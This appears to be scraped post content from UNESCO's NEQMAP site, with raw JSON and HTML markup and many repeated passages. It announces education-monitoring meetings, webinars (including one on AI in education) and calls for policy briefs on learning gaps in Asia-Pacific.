NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

